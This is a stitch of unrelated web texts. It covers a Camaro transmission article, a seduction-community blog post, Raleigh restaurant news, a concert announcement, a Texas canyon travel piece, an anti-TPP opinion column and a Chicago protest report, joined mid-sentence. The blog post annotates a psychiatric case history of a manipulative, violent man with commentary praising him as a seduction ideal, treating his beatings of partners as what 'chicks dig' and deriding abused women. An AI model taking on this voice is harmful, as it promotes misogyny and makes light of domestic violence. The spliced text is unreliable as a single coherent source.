In the world of fast shifting transmissions most consider Porsche’s dual-clutch PDK transmission to be the best on the market. This may no longer be the case, at least in terms of quick shifting, as Chevrolet claims that their tests show the new 10-Speed Hydo-Matic transmission used in the Camaro ZL1 offers faster shifts.
Just how much quicker does it change gears over its German rival? Upshifting from 1st to 2nd gear is 36 percent faster and 2nd to 3rd and 3rd to 4th are 27 and 26 percent faster.
“You touch the paddle and the gear changes with immediacy,” said Aaron Link, ZL1 lead development engineer. “The shifts happen so quickly and without delay that it almost feels like an extension of your reflexes. It’s a much more involving experience for the driver that really helps improve confidence and performance on the track.”
“There is simply nothing like the experience offered with the new 10-speed automatic in the Camaro ZL1,” added Link. “It delivers nearly instantaneous, lightning-fast shifts that alter your perception of what an automatic transmission can offer in a high-performance vehicle – whether you’re on the street, drag strip or road course.”
The 10-speed transmission helps the ZL1 manage better overall performance due largely to its wider 7.39 overall gear ratio spread. This helps enhance the all important off the line performance thanks to the first gear ratio of 4.70. It then uses smaller steps between gears to help the supercharged, 640 horsepower, 640 lb-ft of torque V8 maintain the optimum speed and the most available power. This is the case at nearly all speeds, but special care was taken to ensure the more power was available when exiting a corner on a track.It was inevitable that the winding path to Chateau Heartiste, hedged by fragrant nihilismicus viscosum, would culminate, as it traveled past the noble stone house to the woods out back, in a dark place where demons play. And when one ponders the changing nature of the empire within which CH is embedded, it should not surprise to stumble upon these demons at the foul climax of their bacchanalia.
Meet Stanley, the psychopath. This is his story. Pay special attention to his relationships with women. Read about his near-magical power to seduce and charm women to perform services for him that would defy the imagination of the most corrupted and vengeful beta male.
During the summer of 1972 a small item of news appeared in many of our daily newspapers over the country. It was an item that immediately engaged my attention. Over the two short columns was printed this arresting headline: YOUNG MAN INDUCES FIVE TEEN-AGE GIRLS TO SHAVE THEIR HEADS The report, as I remember it, did not go into much detail about this unusual event or give an adequate account of the young man’s methods of persuasion, of his motives, or of just what impulses might have prompted the five girls to take such an unusual and, one might even say, such an unnatural step. Among my first thoughts on this accomplishment was that Stanley must surely have been the man who brought it about. Who in the entire world but Stanley would have thought up such an exploit? Who else would have had the inclination to carry it out? Though the news report did not actually identify Stanley as the man involved, it brought back many memories of him over the immediately preceding period of several years when I was trying to deal with him and some of the complicated and unusual problems his behavior kept creating for those concerned with him, and for himself. Like a number of other patients presented in this book, he repeatedly showed evidence of superior abilities and demonstrated over and over that he could succeed in Studies, in business, in impressing and attracting other people, and in virtually anything he might choose to undertake. And, similarly, he lost, or seemed to throw away, with no sign of adequate motivation, everything he gained, and especially the things that he claimed meant most of all to him.
The psychopath is different than most people. He is missing, or seductively convinces himself that he’s missing, a moral sense, save for that morality which accrues to the self. He may not be evil, but he certainly has the capacity to be evil, for he will have no remorse should he choose evil. An amoral person, whose amorality is perhaps developmentally hardwired, who can’t empathize with the suffering of others and for whom others exist solely as instruments of his pleasure… can this person be described as anything but a demon in human form?
And yet, here again, as we discover so often when examining this subspecies of man closely, women can’t resist the demon’s sway. They drop to their knees to suck his devil seed dry. Why? What is the psychopath’s source of power over women? Clues abound.
Typical of his behavior in high school is an incident that occurred while he was making excellent grades and holding positions of leadership. With no notice or indirect indication of restlessness, Stanley suddenly vanished from the scene. He failed one day to appear at classes and did not show up at home that night. After he had been gone for over two weeks, a period of great anxiety for his parents who had no way of knowing whether he was living or dead, the police finally discovered him working successfully in a large department store in Knoxville, Tennessee, approximately a hundred and fifty miles away. He seemed quite unconcerned with the ordeal to which he had subjected his parents.
The psychopath has mastered the attitude of aloof indifference.
During his first year at the university he was accused by a girl he had recently met of getting her pregnant after solemn promises of matrimony. Before this trouble was settled by his family, at considerable expense, a similar accusation was made by another girt in a different state.
The psychopath lies with ease. More importantly, he knows what lies are most effective.
To set out without delay on the trip of approximately a hundred miles he casually stole a truck that happened to be at hand. It was heavily loaded with dairy products. State police pursued him, and in the chase he turned over the truck wrecking it and injuring a companion he had persuaded to go along with him. The damages, including hospital bills, cost his family several thousand dollars.
The psychopath is impulsive. He acts recklessly. I’m sure his company is very exciting for the people who have the fortune to meet him.
While still in college, he showed his excellent persuasive abilities during one summer vacation selling Bibles down in the Cajun country near the Gulf of Mexico.
The psychopath is a natural in the art of persuasion.
During this time he was living with his first wife who eventually had to leave him because of his tyrannical demands and his predilection for beating her up severely at the slightest provocation. It is difficult to imagine conduct of this sort in one who ordinarily gives the impression of a well-bred and considerate gentleman.
The psychopath is an occasionally dangerous man, and all the more dangerous for the expertise he brings at concealing his dark nature.
In discussing the first wife’s accusations of such conduct as this, Stanley usually brushed them aside as a typically feminine and somewhat ridiculous exaggeration of some minor disagreement. When confronted with undeniable evidence to the contrary, he admitted having taken mild physical measures to influence her, saying that he “just couldn’t stand her screaming and bawling,” This habit of hers, he said, made him lose his temper. When it was emphasized to him that her weeping and outcries did not precede the beatings but occurred only after the beatings began, he showed very little response. Apparently he felt that this crucial point was not sufficiently important to argue about and seemed to dismiss it without further thought as something virtually irrelevant, or at most a trifle.
The psychopath doesn’t feel genuine feelings, but he can mimic feelings, which is a sufficient talent to attract the interest of women. Never underestimate the number of women who can be bamboozled by phony emoting.
Chiefly because of this physical maltreatment, the first wife left him on many occasions.
Translation: She kept going back to him.
When with her and when separated, he easily obtained employment, usually as a salesman.
The psychopath has state control.
While he worked, his income was ample for any ordinary needs. During one period of prosperity he was very successful selling small computers for household use. He later added as a sideline the enthusiastic promotion and sale of waterbeds, shortly after these were introduced and hailed as a stimulating erotic innovation.
The psychopath seduces employers, customers, and women alike.
Then, without any particular reason, he would give up an excellent job at which he was distinguishing himself.
The psychopath is unpredictable.
Sometimes he would go out merrily and buy on credit several expensive suits and ample supplies of new shoes, shirts, and neckties.
The psychopath peacocks.
Stanley has proved himself a master over the years at misrepresentation in situations where the truth would cause him difficulty or put him in a bad light.
The psychopath never DLVs (demonstrates lower value).
He has also been scarcely less active and ingenious in the fabrication of elaborate lies that seem to have had little or no chance of helping him gain any material objective. […] On at least one occasion he told a psychiatrist that when he was about 10 years old his mother frequently had adulterous relations in his presence with various men. When the plausibility of this claim was questioned, Stanley explained, or seemed to feel that he explained, by saying, “It was because she knew she could trust me with anything.”
The psychopath loves fucking with people’s heads.
While separated from his wife for a period of several months, he went for a short time with a divorcee not long out of her teens, who will here be designated as Marilyn. During this brief courtship he convinced her that though he had once been married, his wife and also his 2-year-old son had died. Actually they were at the time living in another state with the wife’s parents.
The psychopath does it all for the nookie. Or, rather, he does it all for himself, and the (barely legal) nookie mysteriously follows.
At their first encounter, or soon after, he convinced Marilyn that he was deeply in love with her and had every intention of marrying her. She had no way of knowing that these intentions, if they ever existed, had greatly changed (or that Stanley’s wife was still living) until he came to her with what must have been one of the strangest, most surprising and most inappropriate proposals ever made by man to woman. He requested and persistently urged Marilyn to write a letter to his wife and in it explain to her that Stanley’s love for her (the wife) was strong and genuine and to implore her to accept and welcome him back without further delay. I have inexpressible respect for this young man’s powers of persuasion and have often marveled at his accomplishments in getting people, sometimes the most unlikely people, enlisted in working with him to bring about his various and sometimes incompatible or absurd aims. Despite these extraordinary powers, Marilyn could not be induced to take the role that he tried to press upon her, Though extremely shrewd in many ways, Stanley, in discussing this matter, seemed to show some peculiar limitation of awareness, some defect in sensibility, of a nature I cannot describe or clearly imagine. This often led him into gross errors of judgment that even very stupid people would readily see and easily avoid. The reactions Marilyn must have had to the unusual role he proposed and urged upon her invite many questions. Putting further speculation about these reactions aside for the moment, I asked Stanley if he did not think it might have seriously damaged the cause he sought to further if Marilyn had written the letter to intercede for him. Surely, I thought, it would occur to Stanley that such a letter from the other woman would point out and emphasize his sexual infidelity during the separation. “Oh, no,” said Stanley, in tones of strong and almost indignant conviction. “My wife knows I’d never be unfaithful to her.” He then went into some detail about her unassailable confidence in his sexual loyalty. “Why,” he said as if in real pride, “I promised her that if I ever did that with another woman, I’d let her know about it right away.” I then brought up the point that he had given me plainly to understand that he and Marilyn had been indulging in sexual relations freely and regularly up to the time when he made his request for her intercession. Stanley seemed in no way dismayed. “But my wife,” he said confidently, “She doesn’t know about that.”
The psychopath possesses a vast reservoir of overconfidence and overestimation of the attraction that women have for him. Experience justifies his bloated self-conception.
Something in his attitude seemed to give fleeting and very imperfect hints of a difference far within that distinguished him in a very special way from the usual or ordinary human being who is unscrupulous and unconcerned about veracity or honor. When Stanley said, “My wife knows I’d never be unfaithful,” there was in his tone what seemed to be the very essence of truth and sincerity. There was pride in his voice that seemed rooted in this essence. Could it be that for the moment he lost awareness that he was lying? Perhaps even awareness of what truth is? If so, I think this oversight might have occurred because to him it mattered so little. Whether his sworn fidelity was real or not was apparently no more than an academic question empty of substance. The only tangible issue was whether or not it contributed toward gaining his ends. Whether the fidelity existed or his oath had been honored was, for Stanley, a matter that could interest only a sophist who concerned himself not with actualities, but with mere verbalistic capers.
The psychopath has unshakeable inner game.
On two or three occasions he voluntarily entered psychiatric hospitals, apparently to impress his wife by making her think he had at last realized he needed help and meant to change some of his ways. These visits were brief and fruitless and seemed plainly designed to manipulate domestic situations or to elicit new financial aid from his parents.
The psychopath is always looking out for number one.
His many notable and sometimes puzzling exploits were apparently decided upon and carried off on his own, without extraneous stimulation or chemical aid.
The psychopath loves himself.
In high school, and in college during the late 1960’s, he was often thrown with and sometimes almost surrounded by groups of young people who went about in ragged blue jeans, with unkempt beards and long dirty hair that seemed to offer a standing invitation to lice. With many of these young men it was considered stylish and desirable to leave out their shirttails and, on formal occasions, sometimes to come barefooted. Among these could be found many who thought of themselves as radical activists defying the “establishment” and its laws, moral codes, and conventions. In contrast, Stanley wore traditional clothes, remained clean-shaven with neatly trimmed auburn hair. He seemed to have no special interest in changing or challenging society, or in promoting rebellion. Verbally he expressed allegiance to law and order and regularly identified himself with traditional virtues.
The psychopath is a nonconformist.
Let us note briefly a few examples of Stanley’s typical power to convince and to persuade. A year or two before his second wife had to leave him he had no difficulty in getting a young women to turn over to him all her savings, which she had accumulated by steady work over years and which she had been carefully guarding to give her two young children some measure of security. She had clear knowledge of Stanley’s repeatedly demonstrated financial irresponsibility and, one would think, almost certain knowledge of what would happen to her savings.
The psychopath is so seductive he causes women to lose the normal functioning sense of propriety and self-interest they normally exhibit when in the company of niceguy beta males.
More recently he succeeded in arranging for admission to the hospital of a young woman with whom he had been living for a few weeks. She was legally married to another man but had left his bed and board. Stanley was able somehow to convince the ordinarily strict and uncompromising authorities in charge of admission to this hospital that insurance his employer carried on him would cover this lady in the same way as if she were indeed his wife. She did not claim his name as her own or attempt to falsify otherwise her name and status. When she was dismissed, the hospital was left with a large unpaid account that is almost certain to withstand even the most heroic efforts at collection.
Five minutes of psychopath beats five years of beta husband.
On another occasion, Stanley escaped the consequences of a felony charge by serenely posing as an undercover agent working with the authorities against organized pushers in the hard drug traffic. This ruse apparently worked well enough for him to avoid arrest and to leave the state and eventually to takefurther intricate steps to escape the legal consequences that would almost surely have been disastrous to the ordinary man.
The psychopath loves to role play.
His unusual ability to make conviction spring to life and continue to flourish against adversity, and even obvious contradiction, emerges again in a somewhat different area. An attractive and sensitive young woman whose early years had been extremely unhappy and, perhaps, had given her a far greater than ordinary need for genuine and unstinted love, seemed to find at last in Stanley what she had sought above all else in life. She was separated from her husband and for a long time had been loved dearly by another man who apparently offered her everything in his life without qualification or demand for ordinary reciprocation. Stanley grossly mistreated this appealing sexual partner who continued to live with him despite gross and flaunted infidelity, severe and repeated beatings, and other unprovoked outrages. In attempting to explain why she continued with him despite real fear that he might kill her, she said that somehow he made her feel genuinely loved for the first time in her entire life.
The psychopath knows… CHICKS DIG JERKS.
This statement seemed at first to suggest that Stanley might possess remarkable physical prowess and skill at sexual relations. It also might suggest that his partner was masochistic and actually found some perverse satisfaction from being mistreated. Continuing study of her reactions and her attitude gave increasing, and finally convincing, evidence that in neither of these possibilities lay a likely explanation of her loyalty. The more she discussed their physical activities in sexual relations, the more Stanley’s performance seemed unimaginative and his abilities at best ordinary. What she thought he offered her was not primarily physical. It was, I believe, precisely what he was almost infinitely incapable of offering, even in a small degree, but what he apparently simulated with complete success, casually and without effort. It was, she repeatedly said, the way be made her feel personally valued and cherished, deeply and truly loved, rather than a remarkable sensuously erotic experience that bound her to him. One can but marvel that Stanley, and only Stanley, of all the men she had known, could give her this invincible impression of sincerity in personal love and make it convincing time after time despite the repeated and trenchantly disillusioning contradictions demonstrated so vividly and so painfully, and sometimes brutally, by his conduct.
The psychopath is a maestro of the comfort stage of seduction. He intuitively knows that love, even simulated love, is a drug women can’t live without, and a reagent that dissolves the perimeter defenses of the most hardened cynics. But love is never more intoxicating to women than when it’s extracted, slowly and painfully, from a man who won’t give it up easily.
During another period of marital separation, this time from his second wife, Stanley carried out an exploit worthy of our attention. After a brief sexual adventure with another attractive young woman, Yvette,
Psychopaths keep ten in the kitty.
he apparently tired of her and turned his attentions to Sally, one of her friends from a nearby town.
Psychopaths are preselected by women.
She, too, was responsive and everything seemed to indicate a serious and progressive love affair. This new relationship, however, was abruptly terminated by a sudden trip to Europe that Stanley decided to make for reasons that he never made convincing to me, or even quite clear.
Psychopaths are outcome independent.
[Stanley] claims to have learned from Sally that Yvette was about to leave the country, that she was planning to spend some time in Brussels, and later in other parts of Europe. On hearing this, Stanley says that he called Yvette’s home and was told that Yvette was not there. He, nevertheless, persisted in seeking all sorts of information about her trip, apparently making a nuisance of himself and pressing her father repeatedly for information on points he felt were not properly a matter of Stanley’s concern. The father finally hung up, and afterward neither parent would talk with Stanley on the telephone. They had apparently been unhappy about Yvette’s former association with him and did not want it to be renewed.
Diligent fathers are kryptonite to psychopaths. Single moms are… you finish the sentence.
When asked why he did not get word to Yvette by some simpler means, such as having Sally notify her family, he does not give a really adequate explanation. He repeatedly emphasizes his sense of mission, the urgency of his task, and his determination to fulfill it. He also fills in details of action and adventure on the way to Brussels and while there in such a way as to conceal, or at least almost magically blur, the deficiencies that leave the account of his maneuvers so far from convincing.
Psychopaths are always DHVing (demonstrating higher value).
“Why,” Stanley answered promptly, and in his best tones of knight-errantry, “I’d have done that for anybody.” It is beyond my power to describe the glibness or convey what I believe to be the lack of substance and reality, the emptiness of real human feeling, in these fine words that came to him so readily.
The psychopath is alien to men, and lover to women.
One gets the impression that Stanley sliced through the ordinarily paralyzing masses of bureaucratic technicalities and red tape with ease and celerity suggestive of Alexander the Great when confronted by the Gordian knot. In expediting transactions and in manipulating people for this exploit, Stanley must have been at his best. The implausible story about Yvette having carried with her the wrong medicine and its alleged threat of danger to her life must have taken on lyrical notes in his telling.
The psychopath is a skilled storyteller. The content of his stories matter less than the style in which he delivers them.
On the other hand it must be remembered that Stanley has often carried out various extremely injudicious projects, suddenly and with no apparent regard for the consequences, and without any discernible goal that could, in terms of ordinary human motivation, account for his conduct.
Chicks dig a passionate man! Goal-directed passion, pointless caprice, same difference.
There seems little doubt that he grossly exaggerates and indulges in fantastic lies as he recounts his adventures, but there is reason to believe he attracted enough attention with the publicity he gained to persuade first class hotels and restaurants to honor his checks and enable him to live for a while in high style while he pursued his course as a dedicated man on a desperate mission of mercy.
Chicks dig a self-made man.
Here he seemed to find a role that highly elated him in some peculiarly egoistic fashion. In it he seemed to find a satisfaction somewhat similar to but greater than the satisfaction apparently given him by some of his other less elaborate lies and posings and his sprees of squandering money that he did not possess.
Chicks dig narcissistic psychopaths who show more concern for themselves than for the women who love them.
Is there any doubt remaining why women love psychopaths? The psychopath’s character and method is the distilled essence of Game. Of applied charisma.
Psychopath Game is End Game. It’s where a player will go should he decide to pursue his calling to the extremes of accomplishment. All that’s left to wonder is what of the future? Is our world becoming more welcoming to psychopaths and their depredations? Are women, freed from the shackles of reliance on emotionally healthy beta providers, seeking in increasing number the very special attentions of the charming psychopath?
If so, shudder for your posterity. Because that demon retreat awaits them.× 1 of 3 Expand Photo by Alex Boerner Scott Crawford × 2 of 3 Expand Photo by Jeremy M. Lange John Holmes, left, and Scott Crawford, right, together no more × 3 of 3 Expand Photo by Alex Boerner John Holmes guides a customer through Standard's grocery in January Prev Next
Well that didn’t last long: Less than six months after the long-delayed but since-celebrated Standard Foods opened its doors near Raleigh’s Person Street, chef Scott Crawford is planning not only his exit at the restaurant but also the end of his partnership with developer and Standard owner John Holmes of Hobby Properties, which included a planned second restaurant. Crawford announced the decision to his staff Thursday afternoon. He will prepare his last menus and meals for the new Triangle food institution during the first week of May and plans to begin work on a new restaurant soon.
“Every decision in my career I’ve made like this is an emotional one. It’s bittersweet, every time,” Crawford says. “But I also think John has an incredible eye and sense of what the community is looking for in Standard Foods, and I think it will go on strong, healthy, and vibrant. And I’m excited for what I’m doing next.”
Standard is a sprawling, complex concept. Located in a revived strip mall that has anchored the renaissance of a commercial district just outside of downtown Raleigh, Standard Foods is an elegant restaurant of red Le Creuset dishes and unlimited material by night. During the day, it has aimed to be more approachable through a lunch service with a revolving prix fixe and a neighborhood market that specializes in affordable local produce and takeaway items such as soup, ice cream, and stock prepared by the Standard kitchen. Standard also featured a small rear farm, where Crawford’s team tested small batches of ingredients for new dishes. Led by Steve Goff, Standard’s butcher counter has emerged as one of the best and most ambitious in the Triangle.
Judging by appearances, this multifaceted plan seemed to be working, too. The restaurant was consistently booked from opening to closing, and its lunch service had started to pick up momentum. Standard nabbed a strong review from the INDY’s Emma Laperruque, four stars from The News & Observer’s Greg Cox, and a ream of other national and regional press clippings
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gets the chance.
Next year, the musical comedian is embarking on what he calls "The Ridiculously Self-Indulgent, Ill-Advised Vanity Tour," and it will make a stop at Nashville's War Memorial Auditorium on April 17, 2018.
What's different about this trek? Well, for the first time ever, Yankovic is leaving his costumes, props and video screens at home — and even more crucially, he's performing very few parodies of pop hits.
Casual listeners might be surprised to learn that roughly half of Yankovic's recorded output is original (and still funny) material, and that's the side he's celebrating on this stripped down tour of intimate venues.
If you don't want to miss your chance to hear songs like "Dare to be Stupid," "Albuquerque" and "Don't Download This Song" in person, tickets for the Nashville concert go on sale at noon Friday, October 20.
The concert is also part of the just-announced Nashville Comedy Festival, taking place April 16 - 22, 2018.
Read or Share this story: https://www.tennessean.com/story/entertainment/music/2017/10/16/weird-al-coming-nashville-unusual-concert/769227001/Clarification: An earlier version of this story misstated the name of the Panhandle-Plains Historical Museum. This version has been updated.
Hiking in canyon country, you can drive yourself nuts spotting phantom creatures among the cliffs. That bobcat skulking along a ridge? Actually a pile of rocks. The golden eagle eying rodents from above? Just a gnarled tree stump.
But on this walk in Palo Duro Canyon State Park, what I saw high atop a nearby mesa was no Texan trompe l’oeil: A Barbary sheep sat silhouetted against the midday sun. We trained our binoculars on the tan animal and its long, curved horns, gasping when a lamb scampered into view, leaping along the boulders. Two more adult sheep with even bigger horns emerged, sauntering close to the precipice. Later, a park employee told me that we had been very lucky — most visitors miss the well-camouflaged sheep, which are native to northern Africa and were introduced to the park in the 1950s.
Then again, we were doubly lucky, because many people never see Palo Duro at all.
[The essential guide to all 59 U.S. national parks]
Though the 120-mile-long canyon that cleaves the Panhandle’s plains into a bewitchingly rugged land is the nation’s second largest, locals consider it Texas’s best-kept secret. For one, it’s not a national park, and tourists tend to associate canyons with the southwestern geography of Utah and Arizona, not Texas. Only one person (a Texan) I told about my trip had heard of Palo Duro, so I wasn’t surprised to read in the park guest book that someone had written: “Never knew it was here.”
For much of the past 12,000 years, however, the canyon was prime real estate. Ancient Clovis and Folsom peoples hunted mammoth and giant bison. In the 1500s, Spanish explorers — including Francisco Coronado and his expedition — traveled through the region. They named the canyon Palo Duro, Spanish for hard wood, because of its numerous juniper trees, a contrast to the nearby plains.
Rock layers at Palo Duro Canyon State Park in Canyon, Tex. (Steve Johnson/For The Washington Post)
In the 1700s, Native Americans such as the Comanches, Kiowas and Apaches lived in Palo Duro. Here, they made their last stand. During the 1874 Battle of Palo Duro Canyon, part of the Red River War between the U.S. army and southern Plains peoples, the United States attacked native sites in the canyon and captured 1,400 of the tribes’ horses, shooting most of them. Without them, the tribes surrendered, returning on foot to reservations in Oklahoma.
With the Native Americans pushed out, settlers began moving in, including 19th-century Renaissance man Charles Goodnight, who drove more than 1,000 cattle into the canyon in 1876 and later helped established the JA Ranch, which still exists. Among his many pursuits — he’s popularly known as the inventor of the chuck wagon — Goodnight, along with his wife, Mary Ann, saved bison calves from the mass slaughter that nearly wiped out the species. These survivors’ descendants make up the Texas state bison herd in Caprock Canyons State Park, at the southern edge of Palo Duro.
[What does the National Park Service consider a national park?]
This is where my in-laws, Diana and Allan, and my husband, Brian, started our week-long camping adventure. After sidestepping plate-size bison “pies” for a few days, we finally came across the handsome beasts in the flesh. From a safe distance, we watched as furry calves nibbled bushes, and bulls with huge, woolly heads lay motionless in the grass. Mesas in brilliant brick red, like the backdrop of an old Western, towered behind the herd.
Members of the Texas state bison herd rest on a ridge before colorful mesas in Caprock Canyons State Park. The animals are descendants of bison saved from mass slaughter in the 19th century by settlers Charles Goodnight and his wife, Mary Ann. (Christine Dell’Amore/For the Washington Post)
Caprock Canyons, I discovered, also look fabulous in black. At a ranger-led stargazing program, we looked through telescopes at the brightest stars I’d seen since camping in remote Africa. One of the state’s darkest night skies provided the perfect canvas for viewing some celestial gems: Mars positively glowed, and the volunteer astronomer told us when to watch the International Space Station scud across the sky, a tiny point of light amazingly toting humans all the way up in space. (I couldn’t resist waving.)
We arrived at Palo Duro Canyon State Park — the heart of the canyon — with a crush of day-trippers on Memorial Day afternoon, gawking alongside them at the main overlook. You can’t escape a geology lesson at Palo Duro, which the Prairie Dog Town Fork of the Red River carved a million years ago, but whose colorful rock layers are much older. The white caprock, or Ogallala Formation, sits on top; then the reddish sandstone Trujillo; the lavender, yellow and gray Tecovas; and finally, the 250-million-year-old Quartermaster, a variety of red stones shot through with white bands of gypsum. Some of these layers cascade out in formations called Spanish skirts, named after the flowing garments. The rocks erode at different rates, creating hoodoos, tall and impressively balanced rock pillars — the most famous being the 310-foot-tall Lighthouse, a symbol of the park.
A butterfly lands on a colorful Indian blanket bloom in Palo Duro. Many wildflowers and plants live in the park. Spanish explorers named it Palo Duro, or “hard wood,” because of its numerous junipers, which stand in stark contrast to the treeless plains. (Christine Dell’Amore/For the Washington Post)
A prickly pear cactus flower blooms along the hiking trail in Caprock Canyons State Park. (Christine Dell’Amore/For the Washington Post)
With so much to learn, I was bummed to discover that the park had no interpretive programs while I was there. I took some solace at the visitors’ center, in a small museum that houses information on Native American history as well as fossils of ancient residents such as the bone-crushing Amphicyon and three-toed horse. The Depression-era Civilian Conservation Corps built the visitors’ center — then called the El Coronado Lodge — in the 1930s with hand-cut stones quarried on site. You can appreciate their handiwork in bridges along the CCC Trail and gorgeous stone cabins available for overnight guests.
[Namaste, y’all: Kicking back at a Texas-style New Age resort in Austin]
Our campsite under a cottonwood tree was quite the looker, too. At sunset, the cliff above seemed to catch fire, bringing to mind what artist Georgia O’Keeffe wrote on Palo Duro, calling it “a burning, seething cauldron, filled with dramatic light and color.” Critters paraded past, from a roadrunner with a beefy toad dangling from its beak to a bold foursome of wild turkeys. The river gurgled nearby, a comforting sound, especially mingled with the cooing of the doves.
On the six-mile Lighthouse Trail the next morning, wildflowers were in bloom, and we saw the golden-tipped petals of the Indian blanket and the fuzzy pink globes of the sensitive briar.
Hikers traverse the area near the Lighthouse rock formation. (Steve Johnson/For The Washington Post)
Less scenic was the surprising amount of trash around the trail. “We got a roller here!” Brian shouted as our group approached a fresh pile of scat (source unknown). Industrious dung beetles were scooting their prizes up a hill, only to tumble back down and patiently begin again.
Around us loomed tall, jagged ridges sprouting hoodoos of several shapes and sizes. The weather was mercifully cool and cloudy, although a sign at the parking lot had warned “High Heat Danger!” and instructed each hiker to carry a gallon of water. Even better, it was a Tuesday, so we had the trail mostly to ourselves.
Eventually, the Lighthouse appeared ahead, like a canyon beacon, and we scrambled up a steep hill to its base. Up close, this uber-hoodoo looked almost man-made, like it had been sculpted from clay instead of shaped by tens of thousands of years of wind and water. We lunched in its shadow, looking out over a wide valley of dark green junipers, the descending notes of the canyon wren bouncing off cliff walls. I felt, as Goodnight had described his pioneer days, “full of the zest of darers.”
[A hometown girl goes looking for the quirky heart of Houston]
The park closed the trails the next few days due to rain, and we took refuge in nearby museums. The incredibly thorough Panhandle-Plains Historical Museum housed Red River War artifacts, such as a Comanche war shield and steel-tipped lance, and many works by western artists, including O’Keeffe, who taught at a nearby university between 1916 and 1918. At the Charles Goodnight Historical Center, we toured Charles and Mary Ann’s folk Victorian home, nicknamed the Castle on the Prairie. That made sense when I saw an outdoor replica of the couple’s previous abode: a one-room dugout hollowed out of a hillside.
The sun sets over Palo Duro Canyon State Park. Artist Georgia O’Keeffe famously called the area “a burning, seething cauldron, filled with dramatic light and color.” (Steve Johnson/For The Washington Post)
Our final morning dawned clear for a hike on the Rock Garden Trail, which winds through the remnants of an ancient rock landslide. A nearly 600-foot climb took us through a field of boulders, strewn about like a game of marbles. Stopping to catch my breath, I turned and took in the rows of magnificent cliffs that seemed to mirror themselves for miles.
That settled it: Palo Duro may be second in size to that canyon up in Arizona, but it is every bit as grand.
Dell’Amore is an editor and writer based in Washington, D.C. Video by Steve Johnson For The Washington Post.
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Or should we ask whether the Pope is Catholic? Why else would President Barack Obama be so determined that November/December’s lame duck Congress, with Republican majorities in both House and Senate, vote on the Trans-Pacific Partnership (TPP)? And, why did Hillary Clinton and Debbie Wasserman-Schultz’s majority representatives on the Democratic platform committee block any opposition to a vote by the lame duck Congress? What else explains either phenomenon? Support for the TPP has always been majority Republican, despite considerable Democratic support in the Senate and Obama’s own unflagging dedication. If lame duck Republican majorities pass the TPP, Obama can claim his vicious, anti-worker trade legacy, and Hillary can take office without taking the heat. So much for Obama’s 2014 plea to get Cousin Pookie off the couch to vote for the Democrats.
Horrible things often happen between presidential elections in November and the inauguration of new presidents in January. In 2000, in the final months of his presidency, Bill Clinton worked with Republicans to pass the Commodities Futures Modernization Act, the Wall Street deregulation bill that tanked the economy and allowed the banks to drive millions of Americans out of their homes. On his last day in office in 2001, Clinton pardoned fugitive commodities dealer and Glencore International founder Mark Rich, who had been on the FBI’s 10 Most Wanted Fugitives list for years for charges that included buying $200 million worth of oil from Iran while it was holding 53 American hostages in 1979 and selling it to Israel. In 2008, as Obama prepared to take office, Israel pounded Gaza with Operation Cast Lead between December 27th and January 18th. The bombardment ended just two days before Obama’s inauguration. Then, on Inauguration Day, when all eyes were on the U.S.A.’s first African American President, U.S. allies Rwanda and Uganda invaded the Democratic Republic of the Congo again with U.S. blessing.
So, why not ram through the TPP when everyone’s trying to get home for the holidays? Much as Republicans hate handing Obama any kind of victory, and much as Mitch McConnell, R-KY, Richard Burr, R-NC, and Thomas Till, R-NC, dislike exemptions that would allow TPP-participating nations to issue health warnings without compensating tobacco farmers, they might see this as their last chance too.
In 2015, 60 Senators voted to fast track the TPP, 37 voted not to, giving it a comfortable margin of 23 votes. Forty-seven Republicans and thirteen Democrats voted for it; 30 Democrats plus two Independents and 5 Republicans voted against. With 34 Senate seats up for election, and the Stop Trump Crusade in full swing, a Democratic Senate seems quite possible in January. The Week reports that, “Trump not only loses to Hillary Clinton in nearly every general election match-up, he also fares poorly in those states where Republican senators are most vulnerable, like Pennsylvania, New Hampshire, and Wisconsin.” However, even if Democrats retake the Senate, it’s most unlikely that enough will oppose the TPP to make up a 23 vote deficit. The pro-TPP Democratic Senators buffer is too great for that.
The House, however, is a different story. Despite the Republicans’ 247 to 188 majority, the House fast tracked the TPP by only 218 to 208, a mere 10 votes. One hundred and ninety Republicans and 28 Democrats voted for it. Fifty Republicans and 158 Democrats voted against. Enough odious political deals might be struck between now and Inauguration Day to eliminate such a small margin of resistance before it has any chance to swell in the wake of the Stop Trump Crusade..
Mitch McConnell, R-KY, speaking to the Washington Post on December 10th, 2015, suggested another grim explanation for Obama’s determination to get the TPP through the lame duck Congress and Hillary’s corporate absolutist refusal to allow any opposition into the Dem platform. “It certainly shouldn’t come before the election,” he said. “I think the president would be making a big mistake to try to have that voted on during the election. There’s significant pushback all over the place.” In other words, Obama shouldn’t try to pass the TPP until after the November elections because Senators and Representatives won’t vote for it until the voters have re-elected them, at which point they’ll feel free to vote against the voters’ interests and hope we forget it by the next election. The corporate media will no doubt drown any holiday rage in effusions about our first woman president succeeding our first African American president.
We’ve assumed that anyone reading this already knows what’s wrong with the TPP, but just in case not, see Nader’s 10 Reasons That the TPP Is Not a ‘Progressive’ Trade Agreement, by Ralph Nader in TruthDig, The Most Brazen Corporate Power Grab in American History, by Chris Hedges in TruthDig, Stopping the Trans-Pacific Partnership is a “Black Issue by Ajamu Baraka in the Black Agenda Report, As Desperation Over TPP Grows, So Does Obama’s Dishonesty, by Margaret Flowers in Popular Resistance, and With the Trans-Pacific Partnership, It’s Obama and the GOP vs. the Democrats by Thom Hartmann in TruthOut.
The question is, of course, “How to stop it?” Aside from all the suggestions at Flush the TPP. Harshly as we feel towards Bernie Sanders today, we considered calling his Press Secretary to ask whether he’ll support the TPP platform fight now certain to unfold at the Democratic National Convention, but we don’t really care that much about what Bernie will do next. We care about what kind of highly televised platform fight the Bernie delegates will mount on the DNC convention floor and what the the crowd will be doing outside in the streets of Philadelphia.After the release of a video showing a police officer shoot 17-year-old Laquan McDonald in 2014, angry Chicagoans protested for much of the night. (Gillian Brockell/The Washington Post)
CHICAGO — A police officer who fatally shot a black teenager last year was charged with first-degree murder on Tuesday as graphic video of the killing, just released, sparked unrest.
Throngs of protesters filled the streets of downtown Chicago on Tuesday night, with a large crowd gathering outside a police building. Around 11:15 p.m. EST Tuesday, a crowd that had largely been peaceful turned confrontational.
Skirmishes broke out between protesters and police, who surrounded officers after they apparently made arrests. Protesters also tried to stop a police SUV from leaving with arrestees — an effort that failed. As the sound of sirens filled the air, police were met with shouts of “16 shots” — the number of times an officer fired at Laquan McDonald in October 2014 — and demonstrators taking selfies. Some protesters showed up in gas masks, and some pushed against a police line, but no smoke or tear gas came.
